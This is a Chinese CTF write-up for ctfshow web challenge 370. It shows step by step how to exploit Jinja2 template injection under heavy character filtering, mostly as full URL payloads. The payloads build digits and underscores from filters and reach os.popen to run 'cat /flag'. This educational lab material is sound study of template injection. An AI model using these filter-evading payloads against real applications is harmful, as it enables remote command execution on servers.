SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)
写在前头
由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的关键字,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。
但是ctfshow web入门370关相对于ctfshow web入门369关多过滤数字,就是我们不能使用数字作为索引值来获取我们想要的字符了。这时就是需要我们自己来创造数字了。
我们本篇还是先研究如何拿到本关的flag值,然后讲解绕过的原理。
实例引入
判断是否存在SSTI模板注入漏洞
由于双花括号被过滤,所以我们使用{%%}来判断。因为数字过滤了,我们也不能使用?name={%print 123%}来观察页面是否输出123来判断。
这时我们可以通过if条件来判断即:
{%if 条件%}result{%endif%}
这条语句是,如果if的条件正确,就会输出result,否则输出空。
这样的话我们传入参数?name={%if not a%}yes{%endif%},观察页面是否输出yes,如果输出yes,则代表有SSTI模板注入漏洞。
其中 语句中的a默认是false,前面加一个not就是true。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%if not a%}yes{%endif%}
页面输出了yes,存在SSTI模板注入漏洞。
获取数字
为了下面拼接payload方便,我们先把数字全给获取了。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%print (one,two,three,four,five,six,seven,eight,nine)%}
拼接payload
我们还是使用payload:
(lipsum|attr("__globals__").get("os").popen("cat /flag").read()
获取__globals__
获取下划线
我们要从lipsum|string|list中获取下划线,就需要使用pop()方法。pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。
获取pop
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set pop=dict(pop=a)|join%}
{%print pop%}
有了pop方法我们就可以获取下划线了。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}
OK,拿到下划线。
接下来就可以获得__globals__了。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}
获取os模块
获取os模块,我们是通过get方法获得的,所以我们还要获得get。
获取get
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set% get=dict(get=a)|join%}
{%print get%}
拿到get,开始获取os模块。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}
成功拿到os模块。
获取popen方法
我们还是先获取popen字段
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set popen=dict(popen=a)|join%}
{%print popen%}
获取popen方法
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}
成功获取到popen方法。
获取flag
执行命令我们还是得先拼接命令,我们还是通过chr函数来获得命令的每个字符,我们首先还是要获得chr函数。
获取chr函数——>(lipsum|attr("__globals__")).get("__builtins__").get("chr")
获取__builtins__
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}
获取chr函数
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}
成功获取到chr函数。
拼接shell命令
我们使用chr()获取命令的每个字符,然后拼接起来。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}
成功获得shell命令。
执行shell命令
获取read
由于popen方法返回的是一个file对象,所以shell命令执行的结果我们还要使用read()来读取才能看到执行结果。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set read=dict(read=a)|join%}
{%print read%}
执行命令
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
成功获得flag。
绕过原理
由于在我的上篇文章SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)已经做过部分绕过原理(包括 lipsum|attr()、()|join、dict()|join、lipsum|string|list的介绍)的介绍,本篇文章我们就只介绍上关没有涉及到的绕过。
dict()|join|count 或者 dict()|join|length
我们知道dict()|join是将字典中的key值进行拼接,那dict()|join|count就是得到key值后得到字符串的长度。
例如:
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/?name={%set a=dict(aaaa=b)|join|count%}{%print a%}
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/?name={%set a=dict(aaaa=b)|join|length%}{%print a%}
这样我们就轻松的得到数字,就可以绕过数字过滤了。